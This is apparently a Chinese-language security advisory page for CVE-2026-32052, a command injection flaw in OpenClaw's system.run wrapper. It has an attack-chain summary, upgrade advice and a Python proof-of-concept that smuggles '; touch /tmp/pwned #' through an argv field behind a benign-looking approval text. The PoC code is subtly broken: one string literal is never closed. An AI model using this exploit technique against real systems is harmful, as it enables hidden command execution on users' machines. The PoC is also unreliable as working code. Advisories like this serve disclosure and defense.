IPBUF安全漏洞报告
English
CVE-2026-32052 CVSS 6.4 中危

CVE-2026-32052 OpenClaw命令注入漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-32052
漏洞类型
命令注入
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

命令注入OpenClawCVE-2026-32052远程代码执行参数注入

漏洞概述

OpenClaw 2026.2.24之前的版本存在命令注入漏洞。该漏洞位于system.run shell-wrapper组件,允许攻击者在行内shell载荷之后注入位置参数载体。通过构造误导性的审批文本并利用尾随的位置参数,攻击者可绕过显示上下文验证,在用户不知情的情况下执行任意隐藏命令,对系统完整性及可用性造成严重影响。

技术细节

漏洞根源在于OpenClaw的`system.run`包装器未能正确区分显示上下文与实际执行的命令参数。攻击者可以利用此漏洞,在看似合法的shell命令载荷后,恶意注入位置参数(argv carriers)。由于系统的显示验证机制仅检查载荷的显式部分,攻击者能够通过尾随参数传递隐藏命令。具体利用时,攻击者构造包含特殊分隔符或参数占位符的请求,绕过前端过滤。当用户被伪造的文本误导并执行操作时,这些隐藏参数被Shell解析器实际执行,从而实现命令注入。这种利用方式绕过了常规的安全检查,导致攻击者获得在目标系统上执行任意代码的能力。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标使用的是OpenClaw 2026.2.24之前的版本。
STEP 2
2. 载荷构造
攻击者构造特制的恶意请求,在正常的shell载荷后附加位置参数载体,包含隐藏的任意命令。
STEP 3
3. 欺骗与执行
攻击者发送请求,系统显示误导性的审批文本,绕过上下文验证,实际执行的是隐藏在尾随参数中的恶意命令。
STEP 4
4. 达成目标
恶意命令在系统后台执行,可能导致数据被篡改、删除或服务中断(完整性/可用性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-32052 # Demonstrates command injection via positional argv carriers import requests def exploit_openclaw(target_url): """ Exploit the command injection vulnerability in OpenClaw system.run. The payload injects a command carrier after the inline shell payload. """ # The endpoint vulnerable to the attack endpoint = f"{target_url}/api/system/run" # Normal looking command that will be shown in the UI (Approval Text) display_payload = "echo 'System Diagnostic Check' # The hidden command injected via positional argv carrier hidden_command = "; touch /tmp/pwned #" # Constructing the malicious payload structure # Exploiting the lack of validation on trailing positional arguments payload = { "cmd": display_payload, "argv": hidden_command } try: response = requests.post(endpoint, json=payload, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Check if /tmp/pwned was created.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" exploit_openclaw(target)

影响范围

OpenClaw < 2026.2.24

防御指南

临时缓解措施
建议立即将OpenClaw升级到2026.2.24或更高版本以修复此漏洞。如果无法立即升级,应严格限制对system.run功能的访问权限,并仔细审查所有系统命令执行请求的参数,确保没有隐藏的命令载体被传递。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表